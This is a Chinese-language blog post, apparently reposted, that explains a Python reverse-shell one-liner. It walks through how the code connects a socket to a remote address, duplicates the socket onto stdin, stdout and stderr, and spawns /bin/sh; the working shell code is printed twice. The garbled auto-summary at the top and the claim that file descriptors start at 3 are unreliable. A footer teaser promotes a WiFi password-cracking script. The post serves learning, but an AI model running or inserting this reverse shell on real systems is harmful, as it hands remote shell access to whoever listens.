记一次对python反弹shell的分析

摘要:
前言我昨天了解了反弹壳,并对python反弹壳python c'importSocket、subprocess、os有一些疑问;s=插座。插座s、 连接;操作系统。dup2;操作系统。dup2;操作系统。dup2;p=子流程。呼叫;'分析importsocket、subprocess、oss=socket的代码排版。插座。连接器。dup2os。dup2os。dup2p=子进程。call分析代码,代码分为三部分:socket、os、subprocess1.socket Importsockets=socket。插座。connect接下来,逐行分析importsocket以导入python套接字库s=socket。socket使用套接字函数创建套接字,AF_INET表示IPv4套接字;SOCK_STREAM表示我使用TCP流套接字。在192.168.190.1:8080 importos处连接到socket2.os部分。dup2os。dup2os。起初,我不知道dup2函数的用途。百度有一段时间知道这个解释是正确的。引用菜鸟教程的dup2()方法用于将文件描述符fd复制到另一个fd2。

前言

昨天学习了反弹shell,对python弹shell产生了一些疑惑

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

分析

把代码排版一下

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.190.1",8080))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

分析一下代码,分为三个部分socketossubprocess

1.socket部分

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.190.1",8080))

接下来逐行分析

import socket

导入python socket库

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket

s.connect(("192.168.190.1",8080))

连接到192.168.190.1:8080处的套接字

2.os部分

import os
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)      

这里我一开始不知道dup2函数是干什么用的,百度了一会才知道
引用菜鸟教程的解释

os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。

而fileno()函数就是返回一个文件的文件描述符

那么,什么是文件描述符呢?

在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr

所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,是的在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示

3. subprocess部分

import subprocess
p=subprocess.call(["/bin/sh","-i"])

先引用一段关于subprocess库的描述

它允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码

而call函数的作用就是执行指定的命令,返回命令执行的状态码

所以这句代码的作用就是生成新的进程,调用/bin/sh

综上,shell就会被subprocess调用,并用socket传输的数据替代stdin,stdout,stderr,使得在本地就能操作宿主机

问题

虽然大致解决了原理,但是还有一些代码方面的问题

fileno应该是只有文件类型才能使用的函数,但是socket套接字却能够使用

我觉得是因为数据流和文件流之类的问题,详细情况还待之后学习……

免责声明:文章转载自《记一次对python反弹shell的分析》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇feof()判断文件结束的问题java 类型转换下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux Shell中的延时函数

Linux Shell中的延时函数 在 linux shell 脚本中经常需要做一些延时处理。 所以经常要用到 sleep 或 usleep 函数。 下面来说一下 sleep 和 usleep 的区别: sleep : 默认以秒为单位。 usleep : 默认以微秒为单位。 1s = 1000ms = 1000000us sleep 不但可以用秒为单位,...

python测试开发django-31.admin后台一对多操作ForeignKey

前言 平常的网页上有很多一对多的场景,比如填写银行卡信息的时候,会从银行列表下拉框选择对应的银行信息。一般会建两张表,一张表放银行的信息,一张表放银行卡信息。 每个银行可以对应多个银行卡,每个银行卡只能是一家银行的。那么银行名称和银行卡就是一对多的关系,反之,银行卡和银行名称就是多对一的关系 一对多表设计 准备两张表,银行信息(Bank)和卡号信息(Ca...

Python——XPath提取某个标签下所有文本

/text()获取指定标签下的文本内容,//text()获取指定标签下的文本内容,包括子标签下的文本内容,比较简单的是利用字符串相加: room_infos = li.xpath('.//a[@class="resblock-room"]/span//text()').extract() room_info = '' for i in room_info...

基于python+Testlink+Jenkins实现的接口自动化测试框架V3.0

基于python+Testlink+Jenkins实现的接口自动化测试框架V3.0 目录 1、 开发环境 2、 主要功能逻辑介绍 3、 框架功能简介 4、 数据库的创建 5、 框架模块详细介绍 6、 Testlink相关配置与用例管理 a) API相关配置 b) 项目相关配置 c) 用例管理 ① 步骤动作和预期结果填写规范 ② 参数化 ③ 用例执行依赖...

Python实现自动连接密码本破解wifi

在闲余时间尝试了利用Python实现使用本地无线网卡,自动连接wifi,读取密码本中的密码,迭代尝试密码连接破解wifi,话不多说,代码随上,密码可以从网上下载,也可参考我的密码本: 链接:https://pan.baidu.com/s/1xNEKvurhs6SgdXlCmu_new 提取码:6666 在执行该脚本前,一定要安装pywifi包,--pip...

学习bash——数据流重定向

一、概述 1. 数据流 定义:以规定顺序被读取一次的数据序列。 分类:标准输入(stdin)、标准输出(stdout)和标准错误输出(stderr)。 标准输出:指的是命令执行所回传的正确信息。 标准错误输出:指的是命令执行失败后,所回传的错误信息。 2. 文件描述符 定义:在形式上是一个非负整数。实际上,它是一个索引值,所有打开的文件都通过文件描述符...